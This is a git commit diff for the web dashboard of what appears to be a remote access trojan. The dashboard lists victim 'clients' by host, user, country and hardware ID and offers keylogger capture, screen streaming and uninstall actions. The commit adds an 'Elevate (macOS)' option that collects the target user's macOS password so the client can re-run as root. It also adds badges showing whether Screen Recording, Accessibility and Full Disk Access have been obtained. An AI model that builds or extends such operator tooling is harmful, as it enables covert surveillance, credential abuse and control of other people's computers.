new mac update for permission issues.
This commit is contained in:
@@ -444,6 +444,16 @@ p {
|
||||
color: #d8b4fe;
|
||||
border-color: rgba(168, 85, 247, 0.45);
|
||||
}
|
||||
.pill-perm-ok {
|
||||
background: rgba(34, 197, 94, 0.15);
|
||||
color: #86efac;
|
||||
border-color: rgba(34, 197, 94, 0.4);
|
||||
}
|
||||
.pill-perm-no {
|
||||
background: rgba(239, 68, 68, 0.15);
|
||||
color: #fca5a5;
|
||||
border-color: rgba(239, 68, 68, 0.4);
|
||||
}
|
||||
|
||||
/* Hardware info toggle & panel */
|
||||
.pill-hw {
|
||||
|
||||
@@ -195,6 +195,11 @@ function applyMenuSupportRules(clientId) {
|
||||
isWindows,
|
||||
"Keylogger capture is only fully supported on Windows clients.",
|
||||
);
|
||||
|
||||
const elevateBtn = menu.querySelector('[data-action="elevate"]');
|
||||
if (elevateBtn) {
|
||||
elevateBtn.style.display = platform === "darwin" ? "" : "none";
|
||||
}
|
||||
}
|
||||
|
||||
async function loadCurrentUser() {
|
||||
@@ -934,6 +939,32 @@ menu.addEventListener("click", async (e) => {
|
||||
return;
|
||||
}
|
||||
|
||||
if (action === "elevate") {
|
||||
const password = prompt("Enter the user's macOS password for sudo elevation:");
|
||||
if (!password) {
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${contextCard}/command`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ action: "elevate", password }),
|
||||
});
|
||||
const data = await res.json().catch(() => ({}));
|
||||
if (data.ok) {
|
||||
alert(data.message || "Elevation successful — client will reconnect as root.");
|
||||
} else {
|
||||
alert(data.error || data.message || "Elevation failed.");
|
||||
}
|
||||
} catch (err) {
|
||||
alert("Elevation request failed: " + err.message);
|
||||
}
|
||||
closeMenu(clearContext);
|
||||
setTimeout(() => loadWithOptions({ force: true }), 2000);
|
||||
return;
|
||||
}
|
||||
|
||||
const ok = await sendCommand(contextCard, action);
|
||||
if (ok) {
|
||||
setTimeout(() => loadWithOptions({ force: true }), 400);
|
||||
|
||||
@@ -281,6 +281,20 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
scheduleOffline(msg.reason);
|
||||
return;
|
||||
}
|
||||
if (msg.status === "permissions_denied") {
|
||||
clearOfflineTimer();
|
||||
desiredStreaming = false;
|
||||
const missing = Array.isArray(msg.missing) ? msg.missing : [];
|
||||
const labels = {
|
||||
screenRecording: "Screen Recording",
|
||||
accessibility: "Accessibility",
|
||||
fullDiskAccess: "Full Disk Access",
|
||||
};
|
||||
const list = missing.map(k => labels[k] || k).join(", ");
|
||||
setStreamState("error", `macOS permissions required: ${list}`);
|
||||
showElevateOffer(missing);
|
||||
return;
|
||||
}
|
||||
if (msg.status === "connecting") {
|
||||
clearOfflineTimer();
|
||||
setStreamState("connecting", "Connecting");
|
||||
@@ -306,6 +320,102 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
}
|
||||
}
|
||||
|
||||
function showElevateOffer(missing) {
|
||||
// Remove previous elevate banner if any
|
||||
const prev = document.getElementById("rdElevateBanner");
|
||||
if (prev) prev.remove();
|
||||
|
||||
const banner = document.createElement("div");
|
||||
banner.id = "rdElevateBanner";
|
||||
banner.className = "flex flex-col items-center gap-3 p-4 rounded-lg border border-amber-700/70 bg-amber-900/30 text-amber-100 text-sm";
|
||||
|
||||
const labels = {
|
||||
screenRecording: "Screen Recording",
|
||||
accessibility: "Accessibility",
|
||||
fullDiskAccess: "Full Disk Access",
|
||||
};
|
||||
const list = missing.map(k => labels[k] || k).join(", ");
|
||||
|
||||
banner.innerHTML = `
|
||||
<div class="flex items-center gap-2">
|
||||
<i class="fa-solid fa-triangle-exclamation text-amber-400"></i>
|
||||
<span><strong>macOS permissions missing:</strong> ${list}</span>
|
||||
</div>
|
||||
<div class="text-xs text-amber-300/80">
|
||||
The client needs elevated privileges to grant these permissions. Enter the user's password to elevate.
|
||||
</div>
|
||||
<div class="flex items-center gap-2">
|
||||
<input id="rdElevatePwd" type="password" placeholder="User password" autocomplete="off"
|
||||
class="px-3 py-1.5 rounded bg-slate-800 border border-slate-600 text-slate-100 text-sm focus:outline-none focus:border-amber-500" />
|
||||
<button id="rdElevateBtn" class="button primary text-sm px-4 py-1.5">
|
||||
<i class="fa-solid fa-bolt"></i> Elevate
|
||||
</button>
|
||||
<button id="rdElevateDismiss" class="button ghost text-sm px-3 py-1.5">Dismiss</button>
|
||||
</div>
|
||||
<div id="rdElevateStatus" class="text-xs text-slate-400 hidden"></div>
|
||||
`;
|
||||
|
||||
// Insert banner above the canvas area
|
||||
if (canvasContainer && canvasContainer.parentNode) {
|
||||
canvasContainer.parentNode.insertBefore(banner, canvasContainer);
|
||||
}
|
||||
|
||||
const elevateBtn = document.getElementById("rdElevateBtn");
|
||||
const pwdInput = document.getElementById("rdElevatePwd");
|
||||
const statusDiv = document.getElementById("rdElevateStatus");
|
||||
const dismissBtn = document.getElementById("rdElevateDismiss");
|
||||
|
||||
if (dismissBtn) {
|
||||
dismissBtn.addEventListener("click", () => banner.remove());
|
||||
}
|
||||
|
||||
if (elevateBtn && pwdInput) {
|
||||
elevateBtn.addEventListener("click", async () => {
|
||||
const password = pwdInput.value.trim();
|
||||
if (!password) {
|
||||
pwdInput.focus();
|
||||
return;
|
||||
}
|
||||
elevateBtn.disabled = true;
|
||||
elevateBtn.innerHTML = '<i class="fa-solid fa-circle-notch fa-spin"></i> Elevating...';
|
||||
if (statusDiv) {
|
||||
statusDiv.classList.remove("hidden");
|
||||
statusDiv.textContent = "Sending elevation request...";
|
||||
}
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${encodeURIComponent(activeClientId)}/command`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ action: "elevate", password }),
|
||||
});
|
||||
const data = await res.json();
|
||||
if (data.ok) {
|
||||
if (statusDiv) {
|
||||
statusDiv.textContent = "Elevation successful — client is restarting with elevated permissions. It will reconnect shortly.";
|
||||
statusDiv.className = "text-xs text-emerald-400";
|
||||
}
|
||||
elevateBtn.textContent = "Done";
|
||||
// The client will disconnect and reconnect; the viewer should auto-recover
|
||||
} else {
|
||||
if (statusDiv) {
|
||||
statusDiv.textContent = `Elevation failed: ${data.message || "Unknown error"}`;
|
||||
statusDiv.className = "text-xs text-rose-400";
|
||||
}
|
||||
elevateBtn.disabled = false;
|
||||
elevateBtn.innerHTML = '<i class="fa-solid fa-bolt"></i> Retry';
|
||||
}
|
||||
} catch (err) {
|
||||
if (statusDiv) {
|
||||
statusDiv.textContent = `Request failed: ${err.message}`;
|
||||
statusDiv.className = "text-xs text-rose-400";
|
||||
}
|
||||
elevateBtn.disabled = false;
|
||||
elevateBtn.innerHTML = '<i class="fa-solid fa-bolt"></i> Retry';
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
function sendCmd(type, payload) {
|
||||
if (!activeClientId) {
|
||||
console.warn("No active client selected");
|
||||
|
||||
@@ -16,7 +16,7 @@ function escapeHtml(text) {
|
||||
}
|
||||
|
||||
function cardDigest(c) {
|
||||
return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}`;
|
||||
return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${JSON.stringify(c.permissions)}`;
|
||||
}
|
||||
|
||||
export function createRenderer({
|
||||
@@ -424,6 +424,17 @@ export function createRenderer({
|
||||
${client.isAdmin ? `<span class="pill pill-admin"><i class="fa-solid fa-shield-halved"></i> Admin</span>` : ""}
|
||||
${client.elevation === "system" ? `<span class="pill pill-system"><i class="fa-solid fa-gear"></i> SYSTEM</span>` : ""}
|
||||
${client.elevation === "trustedinstaller" ? `<span class="pill pill-ti"><i class="fa-solid fa-lock"></i> TrustedInstaller</span>` : ""}
|
||||
${client.os === "darwin" && client.permissions ? (() => {
|
||||
const p = client.permissions;
|
||||
const pills = [];
|
||||
if (p.screenRecording === true) pills.push('<span class="pill pill-perm-ok"><i class="fa-solid fa-video"></i> Screen</span>');
|
||||
else pills.push('<span class="pill pill-perm-no"><i class="fa-solid fa-video-slash"></i> No Screen</span>');
|
||||
if (p.accessibility === true) pills.push('<span class="pill pill-perm-ok"><i class="fa-solid fa-universal-access"></i> Accessibility</span>');
|
||||
else pills.push('<span class="pill pill-perm-no"><i class="fa-solid fa-ban"></i> No Accessibility</span>');
|
||||
if (p.fullDiskAccess === true) pills.push('<span class="pill pill-perm-ok"><i class="fa-solid fa-hard-drive"></i> FDA</span>');
|
||||
else pills.push('<span class="pill pill-perm-no"><i class="fa-solid fa-lock"></i> No FDA</span>');
|
||||
return pills.join("");
|
||||
})() : ""}
|
||||
${!client.online && client.disconnectReason && client.disconnectReason !== "normal" ? (() => {
|
||||
const iconMap = { panic: "fa-skull-crossbones", crash: "fa-skull", timeout: "fa-clock", network: "fa-plug-circle-xmark" };
|
||||
const colorMap = { panic: "text-red-400", crash: "text-red-400", timeout: "text-amber-400", network: "text-slate-400" };
|
||||
|
||||
@@ -45,6 +45,8 @@ const MENU_GROUPS = [
|
||||
{ label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" },
|
||||
{ label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" },
|
||||
{ divider: true },
|
||||
{ label: "Elevate (macOS)", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
|
||||
{ divider: true },
|
||||
{ label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" },
|
||||
{ label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" },
|
||||
{ label: "Remove From Dashboard", icon: "fa-solid fa-user-xmark", icolor: "text-rose-300", action: "remove-dashboard" },
|
||||
|
||||
Reference in New Issue
Block a user